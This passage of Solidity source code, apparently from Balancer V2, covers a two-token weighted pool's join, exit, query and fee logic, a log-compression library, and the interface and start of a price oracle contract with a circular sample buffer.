the initial BPT to the value of the invariant times the number of tokens. This makes BPT supply more // consistent in Pools with similar compositions but different number of tokens. uint256 bptAmountOut = Math.mul(invariantAfterJoin, 2); _lastInvariant = invariantAfterJoin; return (bptAmountOut, amountsIn); } /** * @dev Called whenever the Pool is joined after the first initialization join (see `_onInitializePool`). * * Returns the amount of BPT to mint, the token amounts that the Pool will receive in return, and the number of * tokens to pay in protocol swap fees. * * Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when * performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely. * * Minted BPT will be sent to `recipient`. * * The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will * be downscaled (rounding up) before being returned to the Vault. * * Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onJoinPool`). These * amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault. */ function _onJoinPool( bytes32, address, address, uint256[] memory balances, uint256, uint256 protocolSwapFeePercentage, bytes memory userData ) private returns ( uint256, uint256[] memory, uint256[] memory ) { uint256[] memory normalizedWeights = _normalizedWeights(); // Due protocol swap fee amounts are computed by measuring the growth of the invariant between the previous join // or exit event and now - the invariant's growth is due exclusively to swap fees. This avoids spending gas // computing them on each individual swap uint256 invariantBeforeJoin = WeightedMath._calculateInvariant(normalizedWeights, balances); uint256[] memory dueProtocolFeeAmounts = _getDueProtocolFeeAmounts( balances, normalizedWeights, _lastInvariant, invariantBeforeJoin, protocolSwapFeePercentage ); // Update current balances by subtracting the protocol fee amounts _mutateAmounts(balances, dueProtocolFeeAmounts, FixedPoint.sub); (uint256 bptAmountOut, uint256[] memory amountsIn) = _doJoin(balances, normalizedWeights, userData); // Update the invariant with the balances the Pool will have after the join, in order to compute the // protocol swap fee amounts due in future joins and exits. _mutateAmounts(balances, amountsIn, FixedPoint.add); _lastInvariant = WeightedMath._calculateInvariant(normalizedWeights, balances); return (bptAmountOut, amountsIn, dueProtocolFeeAmounts); } function _doJoin( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { BaseWeightedPool.JoinKind kind = userData.joinKind(); if (kind == BaseWeightedPool.JoinKind.EXACT_TOKENS_IN_FOR_BPT_OUT) { return _joinExactTokensInForBPTOut(balances, normalizedWeights, userData); } else if (kind == BaseWeightedPool.JoinKind.TOKEN_IN_FOR_EXACT_BPT_OUT) { return _joinTokenInForExactBPTOut(balances, normalizedWeights, userData); } else { _revert(Errors.UNHANDLED_JOIN_KIND); } } function _joinExactTokensInForBPTOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { (uint256[] memory amountsIn, uint256 minBPTAmountOut) = userData.exactTokensInForBptOut(); InputHelpers.ensureInputLengthMatch(amountsIn.length, 2); _upscaleArray(amountsIn); uint256 bptAmountOut = WeightedMath._calcBptOutGivenExactTokensIn( balances, normalizedWeights, amountsIn, totalSupply(), getSwapFeePercentage() ); _require(bptAmountOut >= minBPTAmountOut, Errors.BPT_OUT_MIN_AMOUNT); return (bptAmountOut, amountsIn); } function _joinTokenInForExactBPTOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { (uint256 bptAmountOut, uint256 tokenIndex) = userData.tokenInForExactBptOut(); // Note that there is no maximum amountIn parameter: this is handled by `IVault.joinPool`. _require(tokenIndex < 2, Errors.OUT_OF_BOUNDS); uint256[] memory amountsIn = new uint256[](2); amountsIn[tokenIndex] = WeightedMath._calcTokenInGivenExactBptOut( balances[tokenIndex], normalizedWeights[tokenIndex], bptAmountOut, totalSupply(), getSwapFeePercentage() ); return (bptAmountOut, amountsIn); } // Exit Hook function onExitPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) public virtual override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) { _upscaleArray(balances); (uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts) = _onExitPool( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData ); // Note we no longer use `balances` after calling `_onExitPool`, which may mutate it. _burnPoolTokens(sender, bptAmountIn); // Both amountsOut and dueProtocolFeeAmounts are amounts exiting the Pool, so we round down. _downscaleDownArray(amountsOut); _downscaleDownArray(dueProtocolFeeAmounts); // Update cached total supply and invariant using the results after the exit that will be used for future // oracle updates, only if the pool was not paused (to minimize code paths taken while paused). if (_isNotPaused()) { _cacheInvariantAndSupply(); } return (amountsOut, dueProtocolFeeAmounts); } /** * @dev Called whenever the Pool is exited. * * Returns the amount of BPT to burn, the token amounts for each Pool token that the Pool will grant in return, and * the number of tokens to pay in protocol swap fees. * * Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when * performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely. * * BPT will be burnt from `sender`. * * The Pool will grant tokens to `recipient`. These amounts are considered upscaled and will be downscaled * (rounding down) before being returned to the Vault. * * Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onExitPool`). These * amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault. */ function _onExitPool( bytes32, address, address, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) private returns ( uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts ) { // Exits are not completely disabled while the contract is paused: proportional exits (exact BPT in for tokens // out) remain functional. uint256[] memory normalizedWeights = _normalizedWeights(); if (_isNotPaused()) { // Update price oracle with the pre-exit balances _updateOracle(lastChangeBlock, balances[0], balances[1]); // Due protocol swap fee amounts are computed by measuring the growth of the invariant between the previous // join or exit event and now - the invariant's growth is due exclusively to swap fees. This avoids // spending gas calculating the fees on each individual swap. uint256 invariantBeforeExit = WeightedMath._calculateInvariant(normalizedWeights, balances); dueProtocolFeeAmounts = _getDueProtocolFeeAmounts( balances, normalizedWeights, _lastInvariant, invariantBeforeExit, protocolSwapFeePercentage ); // Update current balances by subtracting the protocol fee amounts _mutateAmounts(balances, dueProtocolFeeAmounts, FixedPoint.sub); } else { // If the contract is paused, swap protocol fee amounts are not charged and the oracle is not updated // to avoid extra calculations and reduce the potential for errors. dueProtocolFeeAmounts = new uint256[](2); } (bptAmountIn, amountsOut) = _doExit(balances, normalizedWeights, userData); // Update the invariant with the balances the Pool will have after the exit, in order to compute the // protocol swap fees due in future joins and exits. _mutateAmounts(balances, amountsOut, FixedPoint.sub); _lastInvariant = WeightedMath._calculateInvariant(normalizedWeights, balances); return (bptAmountIn, amountsOut, dueProtocolFeeAmounts); } function _doExit( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view returns (uint256, uint256[] memory) { BaseWeightedPool.ExitKind kind = userData.exitKind(); if (kind == BaseWeightedPool.ExitKind.EXACT_BPT_IN_FOR_ONE_TOKEN_OUT) { return _exitExactBPTInForTokenOut(balances, normalizedWeights, userData); } else if (kind == BaseWeightedPool.ExitKind.EXACT_BPT_IN_FOR_TOKENS_OUT) { return _exitExactBPTInForTokensOut(balances, userData); } else { // ExitKind.BPT_IN_FOR_EXACT_TOKENS_OUT return _exitBPTInForExactTokensOut(balances, normalizedWeights, userData); } } function _exitExactBPTInForTokenOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view whenNotPaused returns (uint256, uint256[] memory) { // This exit function is disabled if the contract is paused. (uint256 bptAmountIn, uint256 tokenIndex) = userData.exactBptInForTokenOut(); // Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`. _require(tokenIndex < 2, Errors.OUT_OF_BOUNDS); // We exit in a single token, so we initialize amountsOut with zeros uint256[] memory amountsOut = new uint256[](2); // And then assign the result to the selected token amountsOut[tokenIndex] = WeightedMath._calcTokenOutGivenExactBptIn( balances[tokenIndex], normalizedWeights[tokenIndex], bptAmountIn, totalSupply(), getSwapFeePercentage() ); return (bptAmountIn, amountsOut); } function _exitExactBPTInForTokensOut(uint256[] memory balances, bytes memory userData) private view returns (uint256, uint256[] memory) { // This exit function is the only one that is not disabled if the contract is paused: it remains unrestricted // in an attempt to provide users with a mechanism to retrieve their tokens in case of an emergency. // This particular exit function is the only one that remains available because it is the simplest one, and // therefore the one with the lowest likelihood of errors. uint256 bptAmountIn = userData.exactBptInForTokensOut(); // Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`. uint256[] memory amountsOut = WeightedMath._calcTokensOutGivenExactBptIn(balances, bptAmountIn, totalSupply()); return (bptAmountIn, amountsOut); } function _exitBPTInForExactTokensOut( uint256[] memory balances, uint256[] memory normalizedWeights, bytes memory userData ) private view whenNotPaused returns (uint256, uint256[] memory) { // This exit function is disabled if the contract is paused. (uint256[] memory amountsOut, uint256 maxBPTAmountIn) = userData.bptInForExactTokensOut(); InputHelpers.ensureInputLengthMatch(amountsOut.length, 2); _upscaleArray(amountsOut); uint256 bptAmountIn = WeightedMath._calcBptInGivenExactTokensOut( balances, normalizedWeights, amountsOut, totalSupply(), getSwapFeePercentage() ); _require(bptAmountIn <= maxBPTAmountIn, Errors.BPT_IN_MAX_AMOUNT); return (bptAmountIn, amountsOut); } // Oracle functions function getLargestSafeQueryWindow() external pure override returns (uint256) { return 34 hours; } function getLatest(Variable variable) external view override returns (uint256) { int256 instantValue = _getInstantValue(variable, _miscData.oracleIndex()); return LogCompression.fromLowResLog(instantValue); } function getTimeWeightedAverage(OracleAverageQuery[] memory queries) external view override returns (uint256[] memory results) { results = new uint256[](queries.length); uint256 oracleIndex = _miscData.oracleIndex(); OracleAverageQuery memory query; for (uint256 i = 0; i < queries.length; ++i) { query = queries[i]; _require(query.secs != 0, Errors.ORACLE_BAD_SECS); int256 beginAccumulator = _getPastAccumulator(query.variable, oracleIndex, query.ago + query.secs); int256 endAccumulator = _getPastAccumulator(query.variable, oracleIndex, query.ago); results[i] = LogCompression.fromLowResLog((endAccumulator - beginAccumulator) / int256(query.secs)); } } function getPastAccumulators(OracleAccumulatorQuery[] memory queries) external view override returns (int256[] memory results) { results = new int256[](queries.length); uint256 oracleIndex = _miscData.oracleIndex(); OracleAccumulatorQuery memory query; for (uint256 i = 0; i < queries.length; ++i) { query = queries[i]; results[i] = _getPastAccumulator(query.variable, oracleIndex, query.ago); } } /** * @dev Updates the Price Oracle based on the Pool's current state (balances, BPT supply and invariant). Must be * called on *all* state-changing functions with the balances *before* the state change happens, and with * `lastChangeBlock` as the number of the block in which any of the balances last changed. */ function _updateOracle( uint256 lastChangeBlock, uint256 balanceToken0, uint256 balanceToken1 ) internal { bytes32 miscData = _miscData; if (miscData.oracleEnabled() && block.number > lastChangeBlock) { int256 logSpotPrice = WeightedOracleMath._calcLogSpotPrice( _normalizedWeight0, balanceToken0, _normalizedWeight1, balanceToken1 ); int256 logBPTPrice = WeightedOracleMath._calcLogBPTPrice( _normalizedWeight0, balanceToken0, miscData.logTotalSupply() ); uint256 oracleCurrentIndex = miscData.oracleIndex(); uint256 oracleCurrentSampleInitialTimestamp = miscData.oracleSampleCreationTimestamp(); uint256 oracleUpdatedIndex = _processPriceData( oracleCurrentSampleInitialTimestamp, oracleCurrentIndex, logSpotPrice, logBPTPrice, miscData.logInvariant() ); if (oracleCurrentIndex != oracleUpdatedIndex) { // solhint-disable not-rely-on-time miscData = miscData.setOracleIndex(oracleUpdatedIndex); miscData = miscData.setOracleSampleCreationTimestamp(block.timestamp); _miscData = miscData; } } } /** * @dev Stores the logarithm of the invariant and BPT total supply, to be later used in each oracle update. Because * it is stored in miscData, which is read in all operations (including swaps), this saves gas by not requiring to * compute or read these values when updating the oracle. * * This function must be called by all actions that update the invariant and BPT supply (joins and exits). Swaps * also alter the invariant due to collected swap fees, but this growth is considered negligible and not accounted * for. */ function _cacheInvariantAndSupply() internal { bytes32 miscData = _miscData; if (miscData.oracleEnabled()) { miscData = miscData.setLogInvariant(LogCompression.toLowResLog(_lastInvariant)); miscData = miscData.setLogTotalSupply(LogCompression.toLowResLog(totalSupply())); _miscData = miscData; } } // Query functions /** * @dev Returns the amount of BPT that would be granted to `recipient` if the `onJoinPool` hook were called by the * Vault with the same arguments, along with the number of tokens `sender` would have to supply. * * This function is not meant to be called directly, but rather from a helper contract that fetches current Vault * data, such as the protocol swap fee percentage and Pool balances. * * Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must * explicitly use eth_call instead of eth_sendTransaction. */ function queryJoin( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256 bptOut, uint256[] memory amountsIn) { InputHelpers.ensureInputLengthMatch(balances.length, 2); _queryAction( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData, _onJoinPool, _downscaleUpArray ); // The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement, // and we don't need to return anything here - it just silences compiler warnings. return (bptOut, amountsIn); } /** * @dev Returns the amount of BPT that would be burned from `sender` if the `onExitPool` hook were called by the * Vault with the same arguments, along with the number of tokens `recipient` would receive. * * This function is not meant to be called directly, but rather from a helper contract that fetches current Vault * data, such as the protocol swap fee percentage and Pool balances. * * Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must * explicitly use eth_call instead of eth_sendTransaction. */ function queryExit( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) external returns (uint256 bptIn, uint256[] memory amountsOut) { InputHelpers.ensureInputLengthMatch(balances.length, 2); _queryAction( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData, _onExitPool, _downscaleDownArray ); // The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement, // and we don't need to return anything here - it just silences compiler warnings. return (bptIn, amountsOut); } // Helpers function _getDueProtocolFeeAmounts( uint256[] memory balances, uint256[] memory normalizedWeights, uint256 previousInvariant, uint256 currentInvariant, uint256 protocolSwapFeePercentage ) private view returns (uint256[] memory) { // Initialize with zeros uint256[] memory dueProtocolFeeAmounts = new uint256[](2); // Early return if the protocol swap fee percentage is zero, saving gas. if (protocolSwapFeePercentage == 0) { return dueProtocolFeeAmounts; } // The protocol swap fees are always paid using the token with the largest weight in the Pool. As this is the // token that is expected to have the largest balance, using it to pay fees should not unbalance the Pool. dueProtocolFeeAmounts[_maxWeightTokenIndex] = WeightedMath._calcDueTokenProtocolSwapFeeAmount( balances[_maxWeightTokenIndex], normalizedWeights[_maxWeightTokenIndex], previousInvariant, currentInvariant, protocolSwapFeePercentage ); return dueProtocolFeeAmounts; } /** * @dev Mutates `amounts` by applying `mutation` with each entry in `arguments`. * * Equivalent to `amounts = amounts.map(mutation)`. */ function _mutateAmounts( uint256[] memory toMutate, uint256[] memory arguments, function(uint256, uint256) pure returns (uint256) mutation ) private pure { toMutate[0] = mutation(toMutate[0], arguments[0]); toMutate[1] = mutation(toMutate[1], arguments[1]); } /** * @dev This function returns the appreciation of one BPT relative to the * underlying tokens. This starts at 1 when the pool is created and grows over time */ function getRate() public view returns (uint256) { // The initial BPT supply is equal to the invariant times the number of tokens. return Math.mul(getInvariant(), 2).divDown(totalSupply()); } // Scaling /** * @dev Returns a scaling factor that, when multiplied to a token amount for `token`, normalizes its balance as if * it had 18 decimals. */ function _computeScalingFactor(IERC20 token) private view returns (uint256) { // Tokens that don't implement the `decimals` method are not supported. uint256 tokenDecimals = ERC20(address(token)).decimals(); // Tokens with more than 18 decimals are not supported. uint256 decimalsDifference = Math.sub(18, tokenDecimals); return 10**decimalsDifference; } /** * @dev Returns the scaling factor for one of the Pool's tokens. Reverts if `token` is not a token registered by the * Pool. */ function _scalingFactor(bool token0) internal view returns (uint256) { return token0 ? _scalingFactor0 : _scalingFactor1; } /** * @dev Applies `scalingFactor` to `amount`, resulting in a larger or equal value depending on whether it needed * scaling or not. */ function _upscale(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return Math.mul(amount, scalingFactor); } /** * @dev Same as `_upscale`, but for an entire array (of two elements). This function does not return anything, but * instead *mutates* the `amounts` array. */ function _upscaleArray(uint256[] memory amounts) internal view { amounts[0] = Math.mul(amounts[0], _scalingFactor(true)); amounts[1] = Math.mul(amounts[1], _scalingFactor(false)); } /** * @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on * whether it needed scaling or not. The result is rounded down. */ function _downscaleDown(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return Math.divDown(amount, scalingFactor); } /** * @dev Same as `_downscaleDown`, but for an entire array (of two elements). This function does not return anything, * but instead *mutates* the `amounts` array. */ function _downscaleDownArray(uint256[] memory amounts) internal view { amounts[0] = Math.divDown(amounts[0], _scalingFactor(true)); amounts[1] = Math.divDown(amounts[1], _scalingFactor(false)); } /** * @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on * whether it needed scaling or not. The result is rounded up. */ function _downscaleUp(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return Math.divUp(amount, scalingFactor); } /** * @dev Same as `_downscaleUp`, but for an entire array (of two elements). This function does not return anything, * but instead *mutates* the `amounts` array. */ function _downscaleUpArray(uint256[] memory amounts) internal view { amounts[0] = Math.divUp(amounts[0], _scalingFactor(true)); amounts[1] = Math.divUp(amounts[1], _scalingFactor(false)); } function _getAuthorizer() internal view override returns (IAuthorizer) { // Access control management is delegated to the Vault's Authorizer. This lets Balancer Governance manage which // accounts can call permissioned functions: for example, to perform emergency pauses. // If the owner is delegated, then *all* permissioned functions, including `setSwapFeePercentage`, will be under // Governance control. return getVault().getAuthorizer(); } function _queryAction( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData, function(bytes32, address, address, uint256[] memory, uint256, uint256, bytes memory) internal returns (uint256, uint256[] memory, uint256[] memory) _action, function(uint256[] memory) internal view _downscaleArray ) private { // This uses the same technique used by the Vault in queryBatchSwap. Refer to that function for a detailed // explanation. if (msg.sender != address(this)) { // We perform an external call to ourselves, forwarding the same calldata. In this call, the else clause of // the preceding if statement will be executed instead. // solhint-disable-next-line avoid-low-level-calls (bool success, ) = address(this).call(msg.data); // solhint-disable-next-line no-inline-assembly assembly { // This call should always revert to decode the bpt and token amounts from the revert reason switch success case 0 { // Note we are manually writing the memory slot 0. We can safely overwrite whatever is // stored there as we take full control of the execution and then immediately return. // We copy the first 4 bytes to check if it matches with the expected signature, otherwise // there was another revert reason and we should forward it. returndatacopy(0, 0, 0x04) let error := and(mload(0), 0xffffffff00000000000000000000000000000000000000000000000000000000) // If the first 4 bytes don't match with the expected signature, we forward the revert reason. if eq(eq(error, 0x43adbafb00000000000000000000000000000000000000000000000000000000), 0) { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } // The returndata contains the signature, followed by the raw memory representation of the // `bptAmount` and `tokenAmounts` (array: length + data). We need to return an ABI-encoded // representation of these. // An ABI-encoded response will include one additional field to indicate the starting offset of // the `tokenAmounts` array. The `bptAmount` will be laid out in the first word of the // returndata. // // In returndata: // [ signature ][ bptAmount ][ tokenAmounts length ][ tokenAmounts values ] // [ 4 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ] // // We now need to return (ABI-encoded values): // [ bptAmount ][ tokeAmounts offset ][ tokenAmounts length ][ tokenAmounts values ] // [ 32 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ] // We copy 32 bytes for the `bptAmount` from returndata into memory. // Note that we skip the first 4 bytes for the error signature returndatacopy(0, 0x04, 32) // The offsets are 32-bytes long, so the array of `tokenAmounts` will start after // the initial 64 bytes. mstore(0x20, 64) // We now copy the raw memory array for the `tokenAmounts` from returndata into memory. // Since bpt amount and offset take up 64 bytes, we start copying at address 0x40. We also // skip the first 36 bytes from returndata, which correspond to the signature plus bpt amount. returndatacopy(0x40, 0x24, sub(returndatasize(), 36)) // We finally return the ABI-encoded uint256 and the array, which has a total length equal to // the size of returndata, plus the 32 bytes of the offset but without the 4 bytes of the // error signature. return(0, add(returndatasize(), 28)) } default { // This call should always revert, but we fail nonetheless if that didn't happen invalid() } } } else { _upscaleArray(balances); (uint256 bptAmount, uint256[] memory tokenAmounts, ) = _action( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData ); _downscaleArray(tokenAmounts); // solhint-disable-next-line no-inline-assembly assembly { // We will return a raw representation of `bptAmount` and `tokenAmounts` in memory, which is composed of // a 32-byte uint256, followed by a 32-byte for the array length, and finally the 32-byte uint256 values // Because revert expects a size in bytes, we multiply the array length (stored at `tokenAmounts`) by 32 let size := mul(mload(tokenAmounts), 32) // We store the `bptAmount` in the previous slot to the `tokenAmounts` array. We can make sure there // will be at least one available slot due to how the memory scratch space works. // We can safely overwrite whatever is stored in this slot as we will revert immediately after that. let start := sub(tokenAmounts, 0x20) mstore(start, bptAmount) // We send one extra value for the error signature "QueryError(uint256,uint256[])" which is 0x43adbafb // We use the previous slot to `bptAmount`. mstore(sub(start, 0x20), 0x0000000000000000000000000000000000000000000000000000000043adbafb) start := sub(start, 0x04) // When copying from `tokenAmounts` into returndata, we copy the additional 68 bytes to also return // the `bptAmount`, the array length, and the error signature. revert(start, add(size, 68)) } } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; import "../math/LogExpMath.sol"; /** * @dev Library for encoding and decoding values stored inside a 256 bit word. Typically used to pack multiple values in * a single storage slot, saving gas by performing less storage accesses. * * Each value is defined by its size and the least significant bit in the word, also known as offset. For example, two * 128 bit values may be encoded in a word by assigning one an offset of 0, and the other an offset of 128. */ library LogCompression { int256 private constant _LOG_COMPRESSION_FACTOR = 1e14; int256 private constant _HALF_LOG_COMPRESSION_FACTOR = 0.5e14; /** * @dev Returns the natural logarithm of `value`, dropping most of the decimal places to arrive at a value that, * when passed to `fromLowResLog`, will have a maximum relative error of ~0.05% compared to `value`. * * Values returned from this function should not be mixed with other fixed-point values (as they have a different * number of digits), but can be added or subtracted. Use `fromLowResLog` to undo this process and return to an * 18 decimal places fixed point value. * * Because so much precision is lost, the logarithmic values can be stored using much fewer bits than the original * value required. */ function toLowResLog(uint256 value) internal pure returns (int256) { int256 ln = LogExpMath.ln(int256(value)); // Rounding division for signed numerator int256 lnWithError = (ln > 0 ? ln + _HALF_LOG_COMPRESSION_FACTOR : ln - _HALF_LOG_COMPRESSION_FACTOR); return lnWithError / _LOG_COMPRESSION_FACTOR; } /** * @dev Restores `value` from logarithmic space. `value` is expected to be the result of a call to `toLowResLog`, * any other function that returns 4 decimals fixed point logarithms, or the sum of such values. */ function fromLowResLog(int256 value) internal pure returns (uint256) { return uint256(LogExpMath.exp(value * _LOG_COMPRESSION_FACTOR)); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; /** * @dev Interface for querying historical data from a Pool that can be used as a Price Oracle. * * This lets third parties retrieve average prices of tokens held by a Pool over a given period of time, as well as the * price of the Pool share token (BPT) and invariant. Since the invariant is a sensible measure of Pool liquidity, it * can be used to compare two different price sources, and choose the most liquid one. * * Once the oracle is fully initialized, all queries are guaranteed to succeed as long as they require no data that * is not older than the largest safe query window. */ interface IPriceOracle { // The three values that can be queried: // // - PAIR_PRICE: the price of the tokens in the Pool, expressed as the price of the second token in units of the // first token. For example, if token A is worth $2, and token B is worth $4, the pair price will be 2.0. // Note that the price is computed *including* the tokens decimals. This means that the pair price of a Pool with // DAI and USDC will be close to 1.0, despite DAI having 18 decimals and USDC 6. // // - BPT_PRICE: the price of the Pool share token (BPT), in units of the first token. // Note that the price is computed *including* the tokens decimals. This means that the BPT price of a Pool with // USDC in which BPT is worth $5 will be 5.0, despite the BPT having 18 decimals and USDC 6. // // - INVARIANT: the value of the Pool's invariant, which serves as a measure of its liquidity. enum Variable { PAIR_PRICE, BPT_PRICE, INVARIANT } /** * @dev Returns the time average weighted price corresponding to each of `queries`. Prices are represented as 18 * decimal fixed point values. */ function getTimeWeightedAverage(OracleAverageQuery[] memory queries) external view returns (uint256[] memory results); /** * @dev Returns latest sample of `variable`. Prices are represented as 18 decimal fixed point values. */ function getLatest(Variable variable) external view returns (uint256); /** * @dev Information for a Time Weighted Average query. * * Each query computes the average over a window of duration `secs` seconds that ended `ago` seconds ago. For * example, the average over the past 30 minutes is computed by settings secs to 1800 and ago to 0. If secs is 1800 * and ago is 1800 as well, the average between 60 and 30 minutes ago is computed instead. */ struct OracleAverageQuery { Variable variable; uint256 secs; uint256 ago; } /** * @dev Returns largest time window that can be safely queried, where 'safely' means the Oracle is guaranteed to be * able to produce a result and not revert. * * If a query has a non-zero `ago` value, then `secs + ago` (the oldest point in time) must be smaller than this * value for 'safe' queries. */ function getLargestSafeQueryWindow() external view returns (uint256); /** * @dev Returns the accumulators corresponding to each of `queries`. */ function getPastAccumulators(OracleAccumulatorQuery[] memory queries) external view returns (int256[] memory results); /** * @dev Information for an Accumulator query. * * Each query estimates the accumulator at a time `ago` seconds ago. */ struct OracleAccumulatorQuery { Variable variable; uint256 ago; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; import "@balancer-labs/v2-solidity-utils/contracts/helpers/BalancerErrors.sol"; import "../interfaces/IPriceOracle.sol"; import "../interfaces/IPoolPriceOracle.sol"; import "./Buffer.sol"; import "./Samples.sol"; /** * @dev This module allows Pools to access historical pricing information. * * It uses a 1024 long circular buffer to store past data, where the data within each sample is the result of * accumulating live data for no more than two minutes. Therefore, assuming the worst case scenario where new data is * updated in every single block, the oldest samples in the buffer (and therefore largest queryable period) will * be slightly over 34 hours old. * * Usage of this module requires the caller to keep track of two variables: the latest circular buffer index, and the * timestamp when the index last changed. */ contract PoolPriceOracle is IPoolPriceOracle { using Buffer for uint256; using Samples for bytes32; // Each sample in the buffer accumulates information for up to 2 minutes. This is simply to reduce the size of the // buffer: small time deviations will not have any significant effect. // solhint-disable not-rely-on-time uint256 private constant _MAX_SAMPLE_DURATION = 2 minutes; // We use a mapping to simulate an array: the buffer won't grow or shrink, and since we will always use valid // indexes using a mapping saves gas by skipping the bounds checks. mapping(uint256 => bytes32) internal _samples; function getSample(uint256 index) external view override returns ( int256 logPairPrice, int256 accLogPairPrice, int256 logBptPrice, int256 accLogBptPrice, int256 logInvariant, int256 accLogInvariant, uint256 timestamp ) { _require(index < Buffer.SIZE, Errors.ORACLE_INVALID_INDEX); bytes32 sample = _getSample(index); return sample.unpack(); } function getTotalSamples() external pure override returns (uint256) { return Buffer.SIZE; } /** * @dev Processes new price and invariant data, updating the latest sample or creating a new one. * * Receives the new logarithms of values to store: `logPairPrice`, `logBptPrice` and `logInvariant`, as well the * index of the latest sample and the timestamp of its creation. * * Returns the index of the latest sample. If different from `latestIndex`, the caller should also store the * timestamp, and pass it on future calls to this function. */ function _processPriceData( uint256 latestSampleCreationTimestamp, uint256 latestIndex, int256 logPairPrice, int256 logBptPrice, int256 logInvariant ) internal returns (uint256) { // Read latest sample, and compute the next one by updating it with the newly received data. bytes32 sample = _getSample(latestIndex).update(logPairPrice, logBptPrice, logInvariant, block.timestamp); // We create a new sample if more than _MAX_SAMPLE_DURATION seconds have elapsed since the creation of the // latest one. In other words, no sample accumulates data over a period larger than _MAX_SAMPLE_DURATION. bool newSample = block.timestamp - latestSampleCreationTimestamp >= _MAX_SAMPLE_DURATION; latestIndex = newSample ? latestIndex.next() : latestIndex; // Store the updated or new sample. _samples[latestIndex] = sample; return latestIndex; } /** * @dev Returns the instant value for `variable` in the sample pointed to by `index`. */ function _getInstantValue(IPriceOracle.Variable variable, uint256 index) internal view returns (int256) { bytes32 sample = _getSample(index); _require(sample.timestamp() > 0, Errors.ORACLE_NOT_INITIALIZED); return sample.instant(variable); } /** * @dev Returns the value of the accumulator for `variable` `ago` seconds ago. `latestIndex` must be the index of * the latest sample in the buffer. * * Reverts under the following conditions: * - if the buffer is empty. * - if querying past information and the buffer has not been fully initialized. * - if querying older information than available in the buffer. Note that a full buffer guarantees queries for the * past 34 hours will not revert. * * If requesting information for a timestamp later than the latest one, it is extrapolated using the latest * available data. * * When no exact information is available for the requested past timestamp (as usually happens, since at most one * timestamp is stored every two minutes), it is estimated by performing linear interpolation using the closest * values. This process is guaranteed to complete performing at most 10 storage reads. */ function _getPastAccumulator( IPriceOracle.Variable variable, uint256 latestIndex, uint256 ago ) internal view returns (int256) { // `ago` must not be before the epoch. _require(block.timestamp >= ago, Errors.ORACLE_INVALID_SECONDS_QUERY); uint256 lookUpTime = block.timestamp - ago; bytes32 latestSample = _getSample(latestIndex); 